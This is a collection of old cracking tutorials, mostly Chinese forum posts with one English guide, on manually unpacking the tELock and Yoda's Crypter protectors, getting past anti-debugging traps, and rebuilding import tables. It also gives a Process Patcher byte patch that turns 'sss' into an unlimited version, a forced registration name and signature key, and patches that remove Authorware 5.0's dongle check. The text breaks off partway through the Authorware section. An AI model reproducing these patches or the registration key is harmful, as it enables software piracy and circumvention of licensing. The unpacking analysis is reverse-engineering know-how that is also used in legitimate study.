OEP: 0019B9E4 IATRVA: 001AB1A0 IATSize: 000008A4

FThunk: 001AB1A4 NbFunc: 00000036
0 001AB1A4 ? 0000 009D0000
0 001AB1A8 ? 0000 009D000A
0 001AB1AC ? 0000 009D0014
0 001AB1B0 ? 0000 009D001E

从telock重建It部分开始吧，用加了superbpm和icedump的s-ice重新载入sss，下bpm 9d0000，下g，停在这里：

0187:006ACE09 FF0424 INC DWord Ptr [ESP]
0187:006ACE0C 0483 ADD AL,83
0187:006ACE0E 2424 AND AL,24
0187:006ACE10 03833C240074 ADD EAX,[EBX+7400243C]
0187:006ACE16 36833C2401 CMP DWord Ptr SS:[ESP],00000001
0187:006ACE1B 744D JZ 006ACE6A
0187:006ACE1D 833C2402 CMP DWord Ptr [ESP],00000002
0187:006ACE21 7422 JZ 006ACE45
0187:006ACE23 C144240C10 ROL DWord Ptr [ESP+0C],10
0187:006ACE28 668B44240C MOV AX,[ESP+0C]
0187:006ACE2D 66AB STOSW
0187:006ACE2F 8BC3 MOV EAX,EBX
0187:006ACE31 C1E803 SHR EAX,03
0187:006ACE34 83E003 AND EAX,00000003
0187:006ACE37 8A440404 MOV AL,[ESP+1*EAX+04]
0187:006ACE3B AA STOSB
0187:006ACE3C B0C3 MOV AL,C3
0187:006ACE3E AA STOSB
0187:006ACE3F 66B8FF35 MOV AX,35FF
0187:006ACE43 EB2D JMP 006ACE72
0187:006ACE45 8B442408 MOV EAX,[ESP+08]
0187:006ACE49 AB STOSD
0187:006ACE4A 4F DEC EDI
0187:006ACE4B EBEF JMP 006ACE3C
0187:006ACE4D 668B44240C MOV AX,[ESP+0C]
0187:006ACE52 66AB STOSW
0187:006ACE54 B0C3 MOV AL,C3
0187:006ACE56 AA STOSB
0187:006ACE57 8BC3 MOV EAX,EBX
0187:006ACE59 C1E803 SHR EAX,03
0187:006ACE5C 83E003 AND EAX,00000003
0187:006ACE5F 8A440404 MOV AL,[ESP+1*EAX+04]
0187:006ACE63 AA STOSB
0187:006ACE64 66B8FF35 MOV AX,35FF
0187:006ACE68 EB08 JMP 006ACE72
0187:006ACE6A 8B442410 MOV EAX,[ESP+10]
0187:006ACE6E AB STOSD
0187:006ACE6F 4F DEC EDI
0187:006ACE70 EBCA JMP 006ACE3C
0187:006ACE72 E28C LOOP 006ACE00
0187:006ACE74 66AB STOSW
0187:006ACE76 83C414 ADD ESP,00000014
0187:006ACE79 61 POPAD
0187:006ACE7A 89BD9AB04000 MOV [EBP+0040B09A],EDI //MOV [EBP+0040B09A],EBX
899D9AB04000
0187:006ACE80 8BBD9AB04000 MOV EDI,[EBP+0040B09A] //MOV EDI,[EBP+0040B0A2]
8BBDA2B04000
0187:006ACE86 8B85A2B04000 MOV EAX,[EBP+0040B0A2]
0187:006ACE8C 03859AAF4000 ADD EAX,[EBP+0040AF9A]
0187:006ACE92 8B8D9EB04000 MOV ECX,[EBP+0040B09E]
0187:006ACE98 8908 MOV [EAX],ECX
0187:006ACE9A 83859EB040000A ADD DWord Ptr [EBP+0040B09E],0000000A
0187:006ACEA1 EB08 JMP 006ACEAB
0187:006ACEA3 838D9AB04000FF OR DWord Ptr [EBP+0040B09A],FFFFFFFF
0187:006ACEAA 61 POPAD
0187:006ACEAB 03BD9AAF4000 ADD EDI,[EBP+0040AF9A]
0187:006ACEB1 85DB TEST EBX,EBX
0187:006ACEB3 0F84B4000000 JZ 006ACF6D
0187:006ACEB9 F7C300000080 TEST EBX,80000000
0187:006ACEBF 6A00 PUSH 00000000
0187:006ACEC1 7506 JNZ 006ACEC9
0187:006ACEC3 8D5C1302 LEA EBX,[EBX+1*EDX+02]
0187:006ACEC7 EB3C JMP 006ACF05
0187:006ACEC9 FF0424 INC DWord Ptr [ESP]
0187:006ACECC 8B8596AF4000 MOV EAX,[EBP+0040AF96]
0187:006ACED2 3B858AB04000 CMP EAX,[EBP+0040B08A]
0187:006ACED8 752B JNZ 006ACF05
0187:006ACEDA 81E3FFFFFF7F AND EBX,7FFFFFFF
0187:006ACEE0 8BD3 MOV EDX,EBX
0187:006ACEE2 8D1495FCFFFFFF LEA EDX,[FFFFFFFC+4*EDX]
0187:006ACEE9 8B9D96AF4000 MOV EBX,[EBP+0040AF96]
0187:006ACEEF 8B433C MOV EAX,[EBX+3C]
0187:006ACEF2 8B441878 MOV EAX,[EAX+1*EBX+78]
0187:006ACEF6 035C181C ADD EBX,[EAX+1*EBX+1C]
0187:006ACEFA 8B041A MOV EAX,[EDX+1*EBX]
0187:006ACEFD 038596AF4000 ADD EAX,[EBP+0040AF96]
0187:006ACF03 EB13 JMP 006ACF18
0187:006ACF05 81E3FFFFFF7F AND EBX,7FFFFFFF
0187:006ACF0B 53 PUSH EBX
0187:006ACF0C FFB596AF4000 PUSH DWord Ptr [EBP+0040AF96]
0187:006ACF12 FF9504AF4000 CALL Near [`KERNEL32!GetProcAddress`] //取函数名
0187:006ACF18 40 INC EAX
0187:006ACF19 48 DEC EAX
0187:006ACF1A 7532 JNZ 006ACF4E
0187:006ACF1C 58 POP EAX
0187:006ACF1D F9 STC
0187:006ACF1E 0F829BFDFFFF JB 006ACCBF
0187:006ACF24 47 INC EDI
0187:006ACF25 44 INC ESP
0187:006ACF26 49 DEC ECX
0187:006ACF27 3332 XOR ESI,[EDX]
0187:006ACF29 2E44 INC ESP
0187:006ACF2B 4C DEC ESP
0187:006ACF2C 4C DEC ESP
0187:006ACF2D 55 PUSH EBP
0187:006ACF2E 53 PUSH EBX
0187:006ACF2F 45 INC EBP
0187:006ACF30 52 PUSH EDX
0187:006ACF31 3332 XOR ESI,[EDX]
0187:006ACF33 2E44 INC ESP
0187:006ACF35 4C DEC ESP
0187:006ACF36 4C DEC ESP
0187:006ACF37 53 PUSH EBX
0187:006ACF38 48 DEC EAX
0187:006ACF39 45 INC EBP
0187:006ACF3A 4C DEC ESP
0187:006ACF3B 4C DEC ESP
0187:006ACF3C 3332 XOR ESI,[EDX]
0187:006ACF3E 2E44 INC ESP
0187:006ACF40 4C DEC ESP
0187:006ACF41 4C DEC ESP
0187:006ACF42 4B DEC EBX
0187:006ACF43 45 INC EBP
0187:006ACF44 52 PUSH EDX
0187:006ACF45 4E DEC ESI
0187:006ACF46 45 INC EBP
0187:006ACF47 4C DEC ESP
0187:006ACF48 3332 XOR ESI,[EDX]
0187:006ACF4A 2E44 INC ESP
0187:006ACF4C 4C DEC ESP
0187:006ACF4D 4C DEC ESP
0187:006ACF4E 8907 MOV [EDI],EAX //将函数名放回正确的位置
0187:006ACF50 58 POP EAX
0187:006ACF51 48 DEC EAX
0187:006ACF52 740D JZ 006ACF61
0187:006ACF54 40 INC EAX
0187:006ACF55 F8 CLC
0187:006ACF56 668943FE MOV [EBX-02],AX
0187:006ACF5A 8803 MOV [EBX],AL
0187:006ACF5C 43 INC EBX
0187:006ACF5D 3803 CMP [EBX],AL
0187:006ACF5F 75F9 JNZ 006ACF5A
0187:006ACF61 83859AAF400004 ADD DWord Ptr [EBP+0040AF9A],00000004
0187:006ACF68 E9D4FDFFFF JMP 006ACD41
0187:006ACF6D 83C614 ADD ESI,00000014
0187:006ACF70 8B95AEAF4000 MOV EDX,[EBP+0040AFAE]
0187:006ACF76 E9B1FCFFFF JMP 006ACC2C //循环
0187:006ACF7B 61 POPAD
0187:006ACF7C C3 RET

按我的方法把006ACE7A和006ACE80改成这个样子，就可以用ImportRECf了。
0187:006ACE7A 89BD9AB04000 MOV [EBP+0040B09A],EDI //MOV [EBP+0040B09A],EBX
899D9AB04000
0187:006ACE80 8BBD9AB04000 MOV EDI,[EBP+0040B09A] //MOV EDI,[EBP+0040B0A2]
8BBDA2B04000

这样做完所有的函数都可以认出，但还有一个问题，就是该分段的地址还是被telock写入了东西，这样ImportRECf就无法识别，还好按我的改法认不出来的地方都是该分段的地方。

类似这样
1 001AB24C KERNEL32.dll 0181 GetFileType
1 001AB250 KERNEL32.dll 00BA CreateFileA
1 001AB254 KERNEL32.dll 00A1 CloseHandle
0 001AB258 ? 0000 009D01C2
1 001AB25C USER32.dll 0115 GetKeyboardType
1 001AB260 USER32.dll 01AB LoadStringA
1 001AB264 USER32.dll 01BA MessageBoxA
1 001AB268 USER32.dll 0027 CharNextA
0 001AB26C ? 0000 009E0028
1 001AB270 ADVAPI32.dll 00F8 RegQueryValueExA
1 001AB274 ADVAPI32.dll 00F0 RegOpenKeyExA
1 001AB278 ADVAPI32.dll 00D9 RegCloseKey

只需手工把它改成如下就可以了，比原来的方法要快些:)，具体的动手试试吧。

1 001AB24C KERNEL32.dll 0181 GetFileType
1 001AB250 KERNEL32.dll 00BA CreateFileA
1 001AB254 KERNEL32.dll 00A1 CloseHandle

FThunk: 001AB25C NbFunc: 00000004
1 001AB25C USER32.dll 0115 GetKeyboardType
1 001AB260 USER32.dll 01AB LoadStringA
1 001AB264 USER32.dll 01BA MessageBoxA
1 001AB268 USER32.dll 0027 CharNextA

FThunk: 001AB270 NbFunc: 00000003
1 001AB270 ADVAPI32.dll 00F8 RegQueryValueExA
1 001AB274 ADVAPI32.dll 00F0 RegOpenKeyExA
1 001AB278 ADVAPI32.dll 00D9 RegCloseKey

做完这些后用ImportRECf修复后的程序可以正常运行了。

完活，哪位大哥有其他好方法可用的话，千万记得告诉我呀，谢啦。
另外可以参考hying和fpc大哥关于telock的脱文。

感谢你能够坚持下来hoho:)
telock的壳除了手动找入口比较难外，其它的还是比较简单的。

关于sss的注册：

这是我对付以前用telock加过壳的那个sss的patch，sss任意版都只需改2个字节变成无限制版

#Process Patcher Configuration File
Version=3.93

DisplayName=My Test Program
Filename=sss.exe
Filesize=1043968
Arguments=/quiet
Address=0x58ec5d:0x75:0xeb

#End of Configuration File

再有用这个key强制注册后，就是注册版。

UserName=SSSRussian
DigitalSignature=Vu3xB7ar69mR3Vt6hru4piTtDpPOVALxT+SXLg5nALwNVGDHbzWyEA4UAxQktR2arkd5klsvjHCTQVvO0zz9RU

2001.9.27
zombieys[CCG]

———————————————————————————————>
.-" "-. unpacked by zombieys[CCG] >
/　 　　\ qq:1789655 >
| ★　　 | http://zombieys.yeah.net >
|, .-. .-. ,| http://zombieys.126.com >
|)(__/ \__)(| zombieys.cn.hongnet.com >
|/ /\ \| >
(@_@) (_ ^^ _) Thanks for your supports >
_ )\_______\__|IIIIII|__/_____ >
_)@8@8{}<________|-\IIIIII/-|____China Crack Group_zombieys___>

标 题:tELock找OEP很简单：bpx VirtualProtectEx然后稍微跟几步就看见jmp [esp-30]了 (空)
发信人:1212
时 间:2001-9-27 16:26:57
详细信息:

标 题:提示：TELOCK的Import Table在内存里有一段时间是完整的，更本不需要用到ImportREC！ (157字)
发信人:ice_world
时 间:2001-9-27 18:02:42
详细信息:

提示：所有加密过的代码或数据段都会在内存里解密，并完整的存在一段
时间，只要用SOFT-ICE + ICEDUMP就足够了！
只要跳过VirtualProtectEx这个API就可以正确的DUMP了


Yoda's Crypter v1.0

 标 题:Manually UnPacking of Yoda's Crypter v1.0 (17千字)
发信人:夢幻紫雲
时 间:2002-2-28 22:26:18
详细信息:
Manually UnPacking of Yoda's Crypter v1.0

Author: Yoda
Tools: SoftICE v4.05
Hex-Editor
ProcDump v1.6.2

---> Some Tips...
Let me tell you a few things that are important when you want to Unpack something :)

1. Find the OEP (Original Entry Point, the starting location of the Original Program).
2. Dump the File (Doh!).
3. Check if the Import Table is corrupted (And then try to fix it offcourse ;).
4. Remove the Encrypter Code (Not necessary, but fun and in some cases it decreases the
size of the File ;).

----> Some words...
I just want to say that i always break at the Entry Point of the Encrypted Program with Int3.
Why?
Simple, because then i can see exactly what is going on :)
If you want to break on an API, check the Info page of this Packer/Encrypter and then look for
what's the best API to break on.

---> Special Note...
The Target File (Yc_v10_Notepad.exe) has been Encrypted with all the options enabled.
Maximum Protection ;)

---> Let's MUP... (Manually UnPack)
We're going to take a few steps ;)

1. Getting the OEP of the Encrypted program together with some info.
2. Breaking on the Entry Point with Int 03 and then TAL (Trace And Learn) ;)
3. When we're TALling hehe, we're going to fool the Decryption Routine a little bit ;)
4. Dumping the file.
5. Fixing the Dumped Executable (Together with removing some unwanted Code :).

*** Step 1 ***

Ok, put the Target File (Yc_v10_Notepad.exe) on your Desktop (Or where ever you prefer ;).
Then open ProcDump and click on "PE Editor" select the Target File and press "Open".
You'll see the following under "Header Infos":

Entry Point: 0000D060
Size of Image: 0000E000
Image Base: 00400000

There's the Entry Point but remember this is now the Virtual Offset and we need the Raw Offset
in order to put our Int 03 :)
So click on "Sections" and look for something suspicious.
Notice the Section "yC"? (Yoda's Crypter :)
As you can see in this Section the Virtual Offset and the Raw Offset are the same = 0000D000
And the Entry Point = 0000D060
So nothing changes this time because the Virtual and Raw Offset are the same.
The real Entry Point (For the Encrypted Executable) = 0000D060 :)

You can close ProcDump now and open the Target File in your Hex-Editor.
Now go to the Offset "0000D060" and there you can change this:

60 pushad (Remember this instruction to change it back later)

into:

CC Int 03

"Pushad" a well known beginning of Packers/Encrypters ;)

*** Step 2 ***

Now get into SoftICE (Ctrl+D) and type "bpint 3" (To break on Interrupt 03 "CC").
Followed by "enter" and then out of SoftICE (Ctrl+D).
Now click on the Target File and SoftICE should popup.
We're at the beginning of the Decryption Routine now, but we can't Trace yet because of the "CC".
So we need to change that back to "60".
So type/press this:

A EIP (To edit the instruction at the current location)
pushad (enter) (to replace the Int 03 "CC" with pushad "60")
ESC (To get out of the "a" Command)

Now we can TAL (Trace And Learn) ;)

*** Step 3 ***

"Yoda's Crypter v1.0" has some Protections and now we're going to remove them ;)
So from this point (If everything's alright you should still be on the Entry Point :) you
should see something like this:

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
pushad
call 0040D066 - Get the "Delta" Offset (As they call it ;)
pop ebp
sub ebp, 00401AE7
call 0040D113 - Get the Base Addresses of "LoadLibraryA" and "GetProcAddress" out of the Import Table in the Decryption Routine.
call 0040D148 - Get the Base Addresses of "VirtualProtect" , "GetModuleFileNameA" , "CreateFileA" , "GlobalAlloc" , "GlobalFree" , "ReadFile" , "GetFileSize" and "CloseHandle".
call 0040D201 - Here it uses "VirtualProtect" to protect some space after the Decryption Routine.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ok, you can simply skip this piece, because it doesn't do much more then getting the Base
Addresses of several API's ;)
But offcourse you can Trace in it to see exactly what's going on.
Ok, after this stuff you'll see this:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
test [ebp+00401F28], 00000008 - This is to check if you've enabled the CRC option.
jz 0040D093 - If not skip the CRC check.
call 0040D35F - In here it opens the File and calculates a CRC (Gets a Unique Value :).
mov [ebp+00401F2C], eax - Save the Value.
mov eax, [ebp+00401F14] - Get the Image Base.
mov ebx, 00000001
call 0040D3F6 - This is the "Simple" Decryption Algo ;)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ok, first it checks if the CRC option has been enabled, if so it calculates an unique value out
of the file else it skips this process (In our case it'll calculate an unique value because
i enabled all options ;).
When your on the "jz 0040D093" type "r fl z" to skip this process :) (or you can look in the call
for learning purposes ;).
Then in the next call it does the actual Decryption of the Sections.
You can skip this, or Trace in it if you want :)
It's a simple XOR process ;) (It Decrypts the Sections with "xor 79" and skips several Sections, for example ".edata" ;)
Ok, after the Decryption call you'll see this:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
test [ebp+00401F28], 00000001 - This is to check if you've enabled the SoftICE Detection option.
jz 0040D0BB - If not skip this process.
call 0040D1E9 - Here it does the SoftICE Detection (it uses the "BCHK" method).
cmp eax, 00000001 - SoftICE Detected?
jnz 0040D0BB - If EAX isn't 00000001 it jumps and continue the Decryption Routine.
popad - Else it pops all Registers back.
ret - And quits.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
First it checks if the SoftICE Detection option is enabled.
If not it skips this process else it goes into the call and executes the "BCHK" method :)
When your on the "jz 0040D0BB" type "r fl z" to skip this process :)
Then it Compares EAX with 00000001, if it holds 00000001 then it means SoftICE was detected
and the Program just quits (popad, ret).
Else it continues at 0040D0BB.

The BCHK Method (BoundsChecker).

mov ebp, 04243484Bh ; "BCHK"
mov ax, 04h
int 3
cmp al,4
jnz sice

Ok, to get around this you can simply NOP (90) the "int 3" or type "r fl z" at the instruction
"jnz sice" :)
Ok, next thing is at Offset 0040D0BB, and you'll see this:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
call 0040D269 - This is the "Import Table F*ck Up" ;)
cmp eax, 00000001 - Succesfully finished?
jz 0040D0C7 - If so, jump and continue.
popad - Else pop all Registers.
ret - And quit.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Now this is an Important call to remove ;)
Because in there it tries to replace the entry's in the Import Table with the Base Addresses.
And we don't want that now do we? ;)
So Trace into the call with F8 and you'll see this:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
mov eax, [ebp+00401F2C] - Get the unique Value (In our case now it's 00000000 because we skipped the CRC option ;)
or eax, eax - Check if EAX is 00000000.
jz 0040D280 - For us it's equal so we jump, else continue.
cmp eax, [ebp+00401FC3] - Compare the computed Value with the original CRC.
jz 0040D280 - If equal everything's ok and we jump, else continue.
jmp 0040D34A - Jumps to the end and returns to the "cmp eax, 00000001" and we fail at that Compare, and so the program quits ;)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ok, this is the place where it Compares the computed Value with the original.
We skipped the CRC option and so we jump at "jz 0040D280" (The first jz).
Let's see what's at 0040D280:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
mov esi, [ebp+00401F1C] - Here it gets the Virtual Offset,
add esi, [ebp+00401F14] - of the Import Table.
jmp 0040D33D
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Here it puts the Virtual Offset to the Import Table in ESI.
Remember this Virtual Offset, because after we Dumped the file we need to fix the RVA ;) (The Virtual Offset to the Import Table = 00406000).
And then jumps to 0040D33D, let's see what's there:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
cmp [esi+10], 00000000 - Check in the Import Table if there's any .DLL at [esi+10] (this is where the RVA to the .DLL is stored).
jnz 0040D291 - If there's something that points to a .DLL jump to the process that gets the Base Addresses, else continue.
xor eax, eax - EAX == 00000000.
inc eax - EAX +1.
ret - Return to the main Code.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
It checks here to see if it has done all the .DLL's that are stored in the Import Table, by checking the RVA to the .DLL name :)
So to bypass this you simply type "r fl z" at the instruction "jnz 0040D291" :)
And it just continues without changing the Import Table ;)
Now when we get back to the main Code with the "ret", EAX will be compared to 00000001 and we'll jump to "0040D0C7" (Because of the instructions "xor eax, eax" , "inc eax").
So we'll continue at "0040D0C7" let's see what's there:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
test [ebp+00401F28], 00000002 - This is to check if you've enabled the Erase PE Header option.
jz 0040D0D8 - If not, we jump and skip this process else continue.
call 0040D22A - in here it Erases the entire PE Header :)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Here it checks if the Erase PE Header option is enabled ;) (in this case it is).
So it won't jump now, but we'll change that ;)
If your on the "jz 0040D0D8" type "r fl z" and we skip this process.
Offcourse again you may Trace into the call ;)
You'll see that it'll take the SizeOfHeaders and the ImageBase, and Erases everything (by putting 00 into it ;).
So we jump to "0040D0D8" let's see what's there:
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
test [ebp+00401F28], 00000004 - This is to check if you've enabled the Delete Import Information option.
jz 0040D0F5 - If not, it jumps and skips this process, else continue.
mov eax, [ebp+00401F1C] - Here it gets the Virtual Offset,
add eax, [ebp+00401F14] - Of the Import Table.
call 0040D243 - And here it removes the Import Table structure ;)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
It checks here if you've enabled the Delete Import Information option, if not we jump and skip
the process else, it'll erase everything ;)
So when your on the "jz 0040D0F5" type "r fl z" to skip this process.
In the call it counts what the length of the Import Table is (Not including the ILT's "Import Lookup Table's" and the IAT's "Import Address Table's").
And then simply Erases it with 00 :)
Let's see what's at Offset "0040D0F5":
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
mov eax, [ebp+00401F18] - Puts the OEP without Image Base in EAX.
add eax, [ebp+00401F14] - Add the Image Base to the OEP.
mov ebx, 00401B8D - This Offset will,
add ebx, ebp - point to the instruction,
inc ebx - "mov eax, FFFFFFFF".
mov [ebx], eax - Moves the OEP in EBX.
popad - Pop all Registers back.
mov eax, FFFFFFFF - Move the OEP in EAX.
jmp eax - Jump to the OEP :)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
And this is the end of our Trip ;)
Here it gets the OEP and puts it at the instruction "mov eax, FFFFFFFF", then pops all Registers
back, and then moves the OEP in EAX and jumps to it ;)
In this "Notepad" case the OEP is "004010CC".

*** Step 4 ***

We're going to use the "EBFE" trick to let the Program run in a loop so we can Dump it ;)
So when your on "004010CC" (After the "jmp eax") type/press this:

A EIP (To edit the instruction at the current location)
jmp eip (enter) (This will let it jump to itself, running in a loop, Don't forget to remember the original Opcodes "558B" so we can change it back later)
ESC (To get out of the "a" Command)

Now type "BC *" to clear all Breakpoints (If you haven't done already ;) and press (Ctrl+D)
to get out of SoftICE.
Now Windows may run a little slow because the Program is still running in a loop ;)
Open ProcDump and at the main Window click on the Entry that points to our Encrypted Program.
In my case it's:

"C:\windows\desktop\Yc_v10_Notepad.exe"

Then right click on that and select "Dump (Full)".
Save as any file you want.
Now right click again on that Entry and select "Kill Task" to Terminate the Process.
Ok, we got our Dump :)
But now we need to fix a few things ;)

*** Step 5 ***

Your still in ProcDump? ... good :)
Click on "PE Editor" and select your Dumped Executable and click "open".
Now we need to change the Entry Point to the original one.
So change this:

Entry Point: 0000D060 (This points to the Decryption Routine, but we don't want that anymore ;)

into:

Entry Point: 000010CC (Without Image Base)

Now we're going to remove the Decryption Code ;)
In the window your looking at now (PE Structure Editor) you'll see 2 options:

Only to PE Header - Changes are made only in the PE Header
To PE File - Changes are made to the entire File

Select the second option (To PE File) because we want to remove the Section "yC" aswell ;)
Now click on the button "Sections" and select the Section "yC".
Right click on it and select "Kill Section" and *BOOM* Section gone :P
One more thing, because we now removed the last Section, the "Size of Image" isn't correct anymore.
to fix this we need to count the "Virtual Offset + Virtual Size" of the last Section (Which is now ".reloc").
So then we get:

Virtual Offset + Virtual Size = Size of Image
0000C000 + 00001000 = 0000D000

Close this "Sections" window and change the Size of Image (Which is 0000E000) to "0000D000".
Now click on the button "Directory" because we need to point the RVA to the good Import Table ;)
Look at the line of the Import Table it says:

RVA Size
Import Table: 00006050 0000008C

Change the "00006050" to "00006000" (Without Image Base) :)
Because that's where the Import Table starts ;)
Now click "Ok" and then click on "Ok" again and now we've fixed our Dump :P
Close ProcDump and run the Dumped file and, OOppss ;P
It doesn't run yet because of the "EBFE" trick at the OEP remember ;)
So open the Dumped file in your Hex-Editor and go to the Offset "000010CC".
Change there:

EBFE

into:

558B

Now save the file and run it, it works ;)
"Yoda's Crypter v1.0" completely removed without too much difficulties ;)

---> Final Words...

This is an easy Target to Manually Unpack :)
But the Decryption Routine goes in steps and that's nice for learning purposes ;)
Because i skipped the "Import Table F*ck Up" process in the Decryption Routine we didn't have
any difficulties with the Import Table.
Otherwise you needed to use Revirgin or something ;)
Pretty long Tutorial but it's worth it :P

---> Greetings...

"You know who you are!!!" :P

Don't trust the Outside, Trust the InSiDe !!!

Cya...

CoDe_InSiDe

Email: code.inside@home.nl


幻影v1.5b

 标 题:幻影v1.5b破解应注意的地方 (2千字)
发信人:lpyxt
时 间:2002-1-2 12:56:16
详细信息:
幻影v1.5b破解应注意的地方

016F:005A6000 9C PUSHF
016F:005A6001 55 PUSH EBP
016F:005A6002 57 PUSH EDI
016F:005A6003 56 PUSH ESI
016F:005A6004 52 PUSH EDX
016F:005A6005 51 PUSH ECX
016F:005A6006 53 PUSH EBX
016F:005A6007 9C PUSHF
016F:005A6008 FA CLI
016F:005A6009 E800000000 CALL 005A600E
016F:005A600E 5D POP EBP
016F:005A600F 81ED58534000 SUB EBP,00405358
016F:005A6015 B085 MOV AL,85
016F:005A6017 E800000000 CALL 005A601C
016F:005A601C 5E POP ESI
016F:005A601D 83C611 ADD ESI,BYTE +11
016F:005A6020 B927000000 MOV ECX,27
016F:005A6025 3006 XOR [ESI],AL
016F:005A6027 46 INC ESI
016F:005A6028 49 DEC ECX
016F:005A6029 75FA JNZ 005A6025
016F:005A602B FEC8 DEC AL
016F:005A602D B927000000 MOV ECX,27
016F:005A6032 3006 XOR [ESI],AL
016F:005A6034 46 INC ESI
016F:005A6035 49 DEC ECX
016F:005A6036 75FA JNZ 005A6032
016F:005A6038 FEC8 DEC AL
016F:005A603A FA CLI ；此处设断
016F:005A603B 56 PUSH ESI
016F:005A603C BE65E44000 MOV ESI,0040E465
016F:005A6041 03F5 ADD ESI,EBP
016F:005A6043 0F010E SIDT [ESI]
016F:005A6046 8B7602 MOV ESI,[ESI+02]
016F:005A6049 66FF4E08 DEC WORD [ESI+08] ;注意此处陷阱，得想法避开哟
016F:005A604D FF8DE3D94000 DEC DWORD [EBP+0040D9E3]
016F:005A6053 5E POP ESI
016F:005A6054 B927000000 MOV ECX,27
016F:005A6059 3006 XOR [ESI],AL
016F:005A605B 46 INC ESI
016F:005A605C 49 DEC ECX
016F:005A605D 75FA JNZ 005A6059
016F:005A605F FEC8 DEC AL
016F:005A6061 FA CLI
016F:005A6062 56 PUSH ESI
016F:005A6063 BE65E44000 MOV ESI,0040E465
016F:005A6068 03F5 ADD ESI,EBP
016F:005A606A 0F010E SIDT [ESI]
016F:005A606D 8B7602 MOV ESI,[ESI+02]
016F:005A6070 66FF4E08 DEC WORD [ESI+08]
016F:005A6074 FF8DE3D94000 DEC DWORD [EBP+0040D9E3]
016F:005A607A 5E POP ESI

后面要注意的地方请看ljtt的<幻影v1.5b分析笔记>


Authorware 5.0

 标 题:Authorware 5.0破解 (4千字)
发信人:夜月
时 间:2001-9-10 18:08:27
详细信息:
Authorware 5.0破解

作者:夜月
E-mail:luoyi.ly@yeah.net
写作日期: 30th, Aug 2001

软件背景资料

运行平台: Win9X/NT
文件名称: Authorware.exe
程序类型: 多媒体制作工具
下载地点: 不详
文件大小: 未知

使用的工具

Trw2000 V3.25--Win9X Debugger
W32Dasm V8.93--Win9X Dissembler
WinHex v9.54--Hex Editor

难易程度

Easy( ) Medium(X) Hard( ) Pro( )

----------=======声明========----------

未经作者同意，不得修改、引用原文，一切权利保留。
本教程只供教学用，其他一切用途皆被禁止。

----------========正文=======----------
前几天弄了张Authorware的盘，一安装，发现是用SalesAgent作的保护。很可笑，竟然可以直接
执行Authpop.exe从而得到完整的Authorware.exe！（不过，就算不能如此，相信SalesAgent的保护也应该
是“此时无它胜有它”吧？教程满天飞，unlocking code也是明码。呵呵……我还要说更多吗？
（1） 打狗
不过，得到Authorware.exe后，一执行，跳出来一个MessageBox：Can't Find A Hardware
Key……。好家伙，“城市不准养狗，处处总闻狗叫”，看来这个程序是带狗的。
在Trw2000中，bpio 378,拦下来后，看了半天，竟然是在Sentinel.vxd中转悠，连pmodule都不行。
一气之下，把Sentinel.vxd删掉了。再启动，又被拦下，这下好了，是在主程序体中转圈。F12,F10几次以
后，结合W32Dasm的分析，发现下面是关键：

:0050D6B8 668B8B540B6200 mov cx, word ptr [ebx+00620B54]
:0050D6BF 662BC8 sub cx, ax

:0050D6C2 6683F901 cmp cx, 0001 //就是这三句可以改掉
:0050D6C6 1BDB sbb ebx, ebx
:0050D6C8 F7DB neg ebx

:0050D6CA 85DB test ebx, ebx
:0050D6CC 7509 jne 0050D6D7
:0050D6CE 8B442410 mov eax, dword ptr [esp+10]
:0050D6D2 8BCE mov ecx, esi
:0050D6D4 50 push eax
:0050D6D5 FF17 call dword ptr [edi]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0050D691(C), :0050D6CC(C)
|
:0050D6D7 8BC3 mov eax, ebx
:0050D6D9 5F pop edi
:0050D6DA 5E pop esi
:0050D6DB 5B pop ebx
:0050D6DC C20400 ret 0004 //eax=0,bad guy!

修改：
:0050D6C2 6683F901 cmp cx, 0001
:0050D6C6 1BDB sbb ebx, ebx
:0050D6C8 F7DB neg ebx
改为：
mov ebx,1
nop
nop
nop
就可以去掉狗的限制了!

（2） 关于“关于”
点“About”，弹出的DialogBox贴图竟然是“NON-COMMERCIAL”！
下中断“bpx RegisterClassEx do "d *(*(esp+4)+24)”直到看到“AWABOUT”字样。分析该Class
的结构：

00 00 00 00 <---------Style
C0 10 40 00 <---------WndProc ！
00 00 00 00 <---------clsExtra
1E 00 00 00 <---------WndExtra (DLGWINDOWEXTRA)
00 00 40 00 <---------Instance
00 00 00 00 <---------Icon
EE 13 00 00 <---------Cursor
06 00 00 00 <---------Background (COLOR_WINDOWFRAME)
00 00 00 00 <---------MenuName
98 40 61 00 <---------ClassName (AWABOUT)

由此可见，该DialogBox的消息处理函数的入口在4010C0处。

下断点："bpx 4010C0 if (*(esp+8)==f)" 使其中断于WM_PAINT（因为贴图一定会有此消息）。

中断后，跟踪可知[0061891D]处的值决定了显示图片的种类（因为重装了系统，所以找不到
相关的代码了）。

关闭程序，下断点"bpx 61891C w"，中断于：

:005830C9 3D7C010000 cmp eax, 0000017C
:005830CE 7502 jne 005830D2

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005830B2(C)
|
:005830D0 33F6 xor esi, esi //就是这句要修改

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:005830CE(C)
|
:005830D2 85F6 test esi, esi
:005830D4 741A je 005830F0
:005830D6 83E1FD and ecx, FFFFFFFD
